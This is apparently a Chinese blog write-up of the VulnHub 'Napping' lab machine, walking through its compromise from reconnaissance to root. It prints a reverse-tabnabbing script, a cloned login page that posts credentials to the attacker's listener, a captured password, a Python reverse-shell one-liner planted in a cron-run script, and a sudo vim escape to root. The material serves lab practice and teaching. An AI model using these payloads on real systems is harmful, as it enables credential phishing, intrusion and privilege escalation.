VulnHub-Napping打靶记录

这个靶场主要是利用了钓鱼的方式获取到了主机权限。然后进行提权至root

信息收集

目标探测

arp-scan -I eth0 -l 根据显示的信息筛选得到目标

靶机IP:192.168.0.180

本机IP:192.168.0.187

资产扫描

nmap -sV -Pn -sT -sC 192.168.0.180

在这里插入图片描述

分析发现了,一个ssh服务 一个http服务,ssh服务需要账号密码,暂且先放一放

分析http服务

登陆后的界面如下:

在这里插入图片描述

这里提示可以提供一个url,那就填一个url看会有什么效果

在这里插入图片描述

看到了相关的安全问题target="_blank" 且没有用rel="noopener noreferrer nofollow" 作为安全的修补。

如果这里的url给到一个包含钓鱼页面的地址,那么当管理员点击这个地址审查的时候,就会触发原网页跳转,如果管理员没有注意到原网页的跳转,误以为登陆超时重新输入了密码,那么就实现了管理员账号密码的窃取。(通俗点讲:管理员在a页面点击了b链接,那么浏览器会打开一个新的标签页显示b链接的网页,而b链接的网页中如果包含有类似这样的恶意代码window.opener.parent.location.replace('http://baidu.com') 那么a页面就会跳转到恶意代码中指定的地址,此时构造一个该网站登陆页面的钓鱼页面,当管理员输入账号密码的时候,远端就可以监控到输入的信息。)

由于不是真实环境,暂且不做的那么逼真和完善

钓鱼–意外的小插曲

在本地创建一个包含恶意代码的网页,网页代码如下 文件名字为aa.html

<html>
    <script>
    	if (window.opener) window.opener.parent.location.replace('http://192.168.0.187/index.html');
        if (window.parent != window) window.parent.location.replace('http://192.168.0.187/index.html');
    </script>
</html>

在构建一个和登陆页面一样的网页(只需要将源网页的html代码复制即可),并把表单数据指向本地,注意第18行,当管理员提交数据的时候会发送到本地的7788端口,文件名字为index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Login</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <style>
        body{ font: 14px sans-serif; }
        .wrapper{ width: 360px; padding: 20px; }
    </style>
</head>
<body>
    <div class="wrapper">
        <h2>Login</h2>
        <p>Please fill in your credentials to login.</p>

        dsafasdfasfas
        <form action="http://192.168.0.187:7788/index.php" method="post">
            <div class="form-group">
                <label>Username</label>
                <input type="text" name="username" class="form-control " value="">
                <span class="invalid-feedback"></span>
            </div>    
            <div class="form-group">
                <label>Password</label>
                <input type="password" name="password" class="form-control ">
                <span class="invalid-feedback"></span>
            </div>
            <div class="form-group">
                <input type="submit" class="btn btn-primary" value="Login">
            </div>
            <p>Don't have an account? <a href="register.php">Sign up now</a>.</p>
        </form>
    </div>
</body>
</html>

将这两个网页放在一个文件夹中,并在该文件夹,使用python开启http服务

python -m http.server 80 在这里插入图片描述

此时输入 http://192.168.0.187/aa.html并点击提交

在这里插入图片描述

开启nc监听本地7788端口

本该在nc上接收到的账号密码,却没有等到,发现python开启的http服务中有这样几个数据包

在这里插入图片描述

其中有一个post请求,但是不是指向,我们预想的地址,而是指向了index.html这个文件,这是我们在aa.html中指向的地址,那既然这样我们就看看他到底发送了什么。

钓鱼–最终的结果

更改aa.html文件内容为

<html>
    <script>
    	if (window.opener) window.opener.parent.location.replace('http://192.168.0.187:7788');
        if (window.parent != window) window.parent.location.replace('http://192.168.0.187:7788');
    </script>
</html>

本地依旧监听7788端口 ,然后提交http://192.168.0.187/aa.html 看结果

耐心等待了一会后确实收到了post数据

在这里插入图片描述

权限提升

使用这个账号密码登陆网页是登陆不上去的。

但是信息收集的时候发现了有ssh服务,用这个账号密码进行登陆(这里的密码是url格式的需要解码)解码后就是C@ughtm3napping123 可以登陆成功

简单的信息收集一下

在这里插入图片描述

发现这个用户是没有什么权限的,拥有权限的只有这么一个文件

这个py文件是用来写文件的,每隔两分钟就会向site_status.txt中写入一条日志说明是一个计时任务,那么修改这个文件,执行一个反弹shell的后门,那么应该就可以将权限提升到创建任务的用户了。

修改文件内容为

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.187",7788));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")

在本地监听 nc 监听7788端口

在这里插入图片描述

权限已经移动到了adrian用户。

查看用户权限,发现可以以root权限执行vim
在这里插入图片描述

执行sudo /usr/bin/vim -c ':!/bin/sh' 即可获得root权限

在这里插入图片描述
权限已经移动到了adrian用户。

查看用户权限,发现可以以root权限执行vim

执行sudo /usr/bin/vim -c ':!/bin/sh' 即可获得root权限

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值